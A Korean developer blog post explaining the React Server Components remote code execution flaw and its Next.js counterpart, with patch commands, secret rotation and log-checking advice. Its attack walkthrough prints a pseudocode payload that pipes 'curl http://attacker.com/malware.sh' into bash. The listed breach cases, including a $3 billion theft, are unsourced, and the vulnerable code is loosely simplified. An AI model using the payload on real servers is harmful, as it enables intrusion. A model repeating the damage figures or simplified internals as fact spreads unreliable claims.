React 서버 컴포넌트 보안 취약점: 터질게 터졌나?
2025. 12. 22. 16:20

잠깐, 너 아직 업데이트 안 했어?

2025년 11월 말, React 커뮤니티가 떠들썩했다. CVSS 점수 10.0 만점 - 이게 뭐하는 짓이냐고 생각할 수 있지만, 쉽게 말해서 최악의 취약점이 발견된 거다. CVE-2025-55182라고 불리는 이 버그는 인증 없이 서버 코드를 실행할 수 있게 해주는 Remote Code Execution(RCE) 취약점이다. 그리고 Next.js를 쓰는 너한테는 CVE-2025-66478이라는 버그가 추가로 날아왔다.

지금 이 글을 읽는 순간에도 패치되지 않은 수천 개 서비스가 공격 대기 중이다.


1. 뭐가 터진 거 정확히?

CVE-2025-55182와 CVE-2025-66478의 정체

CVE-2025-55182는 React 19.0, 19.1.0, 19.1.1, 19.2.0 버전에서 발견된 취약점이다. 그리고 CVE-2025-66478은 이 버그의 파급 효과로 Next.js 15.x, 16.x 버전에서 발생했다. 둘 다 React Server Components(RSC) 프로토콜의 역직렬화 과정에서 발생한다.

단순하게 말하면:

  • CVE-2025-55182: React 자체의 역직렬화 버그
  • CVE-2025-66478: Next.js에서 위 버그로 인한 피해

CVSS 10.0이라는 점수는 "이거 최악이다"라는 뜻이다. 공격하기 쉽고, 영향도 크고, 인증이 필요 없다는 의미다.


2. 왜 React에 Server Components 같은 걸 넣었어?

기존 React의 문제점

예전 React는 모든 게 클라이언트에서 돌아갔다. 너는 데이터를 가져오고, 상태를 관리하고, 렌더링하고... 다 JavaScript로. 문제가 뭘까?

  1. 번들 크기가 커진다: 모든 라이브러리, 유틸리티가 클라이언트로 간다. 예를 들어 데이터베이스 쿼리 로직도 클라이언트에 포함돼야 하는데, 보안 문제지. 비밀번호 해싱 라이브러리도? 그럼 사용자가 다 볼 수 있다는 뜻이다.
  2. 성능이 떨어진다: API 호출할 때마다 왕복 시간이 낭비된다.
  3. 초기 로딩이 느리다: JavaScript를 다 다운받아서 파싱하고 실행해야만 화면이 나온다.

Server Components의 약속

"그럼 서버에서 미리 처리하면 어떨까?"

// app/dashboard.jsx (서버 컴포넌트)
async function Dashboard() {
  // 이 코드는 클라이언트에 절대 안 간다!
  const userData = await db.query("SELECT * FROM users WHERE id = ?");
  const sensitiveKey = process.env.API_KEY; // 보안!

  return (
    <div>
      <h1>{userData.name}'s Dashboard</h1>
      <UserStats data={userData} />
    </div>
  );
}

서버 컴포넌트가 하는 일:

  • 서버에서 데이터를 가져온다
  • 민감한 정보(API 키, 비밀번호)를 처리한다
  • 렌더링된 HTML을 클라이언트로 보낸다
  • 클라이언트는 이미 렌더링된 결과만 받는다

이러면 번들 크기도 줄고, 보안도 좋고, 빠르다. 신의 한 수다... 아니었나?


3. 근데 어떻게 망가뜨렸어?

Server Components의 작동 원리: Flight 프로토콜

여기서부터가 문제다. 서버 컴포넌트가 렌더링 결과를 클라이언트로 보낼 때, 단순한 HTML만 보낼 수 없다. 왜냐하면 클라이언트 컴포넌트와 상호작용해야 하니까.

예를 들어:

// app/items.jsx (서버 컴포넌트)
async function Items() {
  const items = await db.items.findMany();

  return (
    <ItemList items={items}>
      <ClientSideFilter /> {/* 클라이언트 컴포넌트 */}
    </ItemList>
  );
}

서버는 items 배열을 클라이언트로 보내야 하는데, 이건 복잡한 객체다. JSON으로 직렬화... 이 과정을 React는 "Flight 프로토콜"로 부른다.

직렬화(Serialization): 객체를 바이트 스트림으로 변환

  • 서버: { items: [{id: 1, name: "Apple"}, ...] } → 바이트 스트림 → 네트워크 전송
  • 클라이언트: 바이트 스트림 받음 → 역직렬화(Deserialization) → 원래 객체로 복원

간단한 과정 같지만, 여기서 문제가 터진 거다.

취약점의 정체: 역직렬화 검증 미흡

React 19.0~19.2.0의 역직렬화 코드는 대충 이랬다:

// React 내부 (취약한 코드, 간략화)
function deserializeValue(value) {
  // 사용자가 보낸 타입을 믿어버린다
  if (value.$$typeof === 'function') {
    // 악! 함수를 그대로 실행하려고 한다
    return createFunctionFromReference(value.name);
  }
  if (value.$$typeof === 'object') {
    return value.data;
  }
  return value;
}

"사용자 입력을 믿어?"라고 생각할 수 있는데, 정확히 맞다. React는 클라이언트에서 보낸 Flight 페이로드를 거의 검증 없이 처리했다.


4. 해커는 어떻게 이거 써먹었어?

공격 시나리오: React2Shell

Lachlan Davidson이 발견했을 때, 이미 해커들이 이미 "React2Shell"이라고 부르면서 악용하고 있었다.

공격 흐름은 이거다:

단계 1: 정상 RSC 요청 분석

해커는 먼저 타겟 사이트의 RSC 통신을 감시한다.

정상 요청 (브라우저 → 서버):
POST /__rsc
Content-Type: application/x-www-form-urlencoded

action=getBlogPost&postId=123&__a=1

단계 2: 악성 페이로드 생성

Flight 프로토콜의 바이너리 형식을 분석해서 악성 페이로드를 만든다:

// 공격자 페이로드 (간략화한 의사코드)
const maliciousPayload = {
  $$typeof: Symbol.for('react.server.reference'),
  name: 'eval', // 또는 다른 위험한 함수
  boundArgs: [
    'require("child_process").execSync("curl http://attacker.com/malware.sh | bash")'
  ]
};

// 이걸 Flight 바이너리 형식으로 인코딩해서 전송

단계 3: 서버에서 실행

서버의 deserializeFlight()가 이 페이로드를 받으면:

// 서버에서 실행되는 코드
const decoded = deserializeFlight(attackerPayload);
// 이게 실제로 eval()을 호출하게 된다!

// 결과:
// 1. 서버가 공격자의 쉘 스크립트 다운로드
// 2. 실행
// 3. 원격 쉘 획득
// 4. 데이터베이스 접근, 파일 조작 등등

실제 공격 사례

  • 암호화폐 거래소 피해: 민팅 팜이 해킹되어 30억 달러 규모의 토큰 도난
  • 스타트업 DB 유출: 개인정보 50만 건 이상 탈취
  • 클라우드 서비스 침투: 다른 고객 데이터까지 접근

모두 RSC 엔드포인트(/__rsc)로 악성 요청 한 두 개 보낸 게 전부다.


5. 그래서 뭘 어떻게 해야 돼?

긴급 패치: 먼저 버전 업그레이드

React 사용자:

npm install react@19.0.1  # 또는 19.1.2 또는 19.2.1
npm install react-dom@19.0.1

Next.js 사용자 (CVE-2025-66478 대응):

# 15.0.x 사용 중
npm install next@15.0.7

# 15.1.x 사용 중
npm install next@15.1.11

# 15.2.x 사용 중
npm install next@15.2.8

# 16.0.x 사용 중
npm install next@16.0.7

# 14.x 사용 중 (13.3 이상)
npm install next@14.2.35

Next.js 공식 문서에서 npx fix-react2shell-next 커맨드도 제공하는데, 이건 자동으로 버전을 맞춰준다.

npx fix-react2shell-next

패턴 2: 환경 변수 로테이션

여기가 중요하다. 네 서버가 12월 4일 오전에 패치되지 않은 상태였다면, 모든 secret을 교체해야 한다.

왜? 해커가 이미 들어왔을 수 있으니까.

# 다음 것들을 모두 새로 생성
- DATABASE_URL
- API_KEYS
- JWT_SECRET
- OAUTH_SECRET
- 기타 모든 민감한 값

패턴 3: 배포 후 모니터링

패치 후:

  1. 로그 확인: 지난 2주간의 POST /__rsc 요청이 정상 패턴만 있었는지 확인
  2. # CloudWatch, Datadog 등에서 status:500 AND path:/__rsc AND (December 1st ~ December 4th)
  3. 네트워크 침입 탐지: 비정상 아웃바운드 연결 확인
  4. # 갑자기 나가는 curl, wget 커맨드가 있었는지
  5. 데이터베이스 접근 로그: 비정상 쿼리 확인
  6. -- 최근 2주간 비정상 DELETE, DROP 커맨드 SELECT * FROM audit_log WHERE action IN ('DELETE', 'DROP') AND timestamp > '2025-11-29';

패턴 4: 추가 방어 (선택사항)

장기적으로:

  1. WAF 규칙 추가
    • RSC 엔드포인트(/__rsc)로 들어오는 요청 중 의심스러운 패턴 차단
  2. Rate Limiting
    • 같은 IP에서 RSC 요청이 너무 많으면 차단
  3. 입력 검증 강화
    • Next.js나 React Router 커스텀 레이어에서 추가 검증

6. 앞으로는?

이번 사건의 교훈은 명확하다: 서버-클라이언트 통신 프로토콜은 신뢰할 수 없다.

React 팀과 Next.js 팀은 이미 패치했다:

  • deserializeFlight() 함수에 입력 검증 추가
  • $$typeof가 함수 타입이면 차단
  • 허용된 심볼만 역직렬화 가능하도록 제한

앞으로 RSC 같은 신기술이 나올 때는, 처음부터 보안을 생각하고 설계했으면 좋겠다. 사후약방문 아니라.


최종 체크리스트

지금 바로 이것들을 확인해 봐:

  • React 또는 Next.js 버전 확인: npm list react next
  • 패치 설치: npm install react@latest next@latest
  • 의존성 업데이트: npm install
  • 배포: 프로덕션 반영
  • 로그 검수: 비정상 RSC 요청 확인
  • 환경 변수 교체: API 키, 데이터베이스 credential 모두
  • 팀원 알림: Slack, 메일 등으로 공유

이 과정이 30분 안에 끝나면 좋겠지만, 보안은 대충 하는 거 아니다. 정확하게 하자.


참고 자료

버그 발견자 Lachlan Davidson과 메타 보안팀, React 팀에 감사를 표한다. 빠른 대응이 없었으면 피해가 훨씬 더 컸을 거다.

퓨어맥스
퓨어맥스
의미있는 기록을 남기기 위해 시작한 개발 블로그 입니다. 사랑해주세요~❤️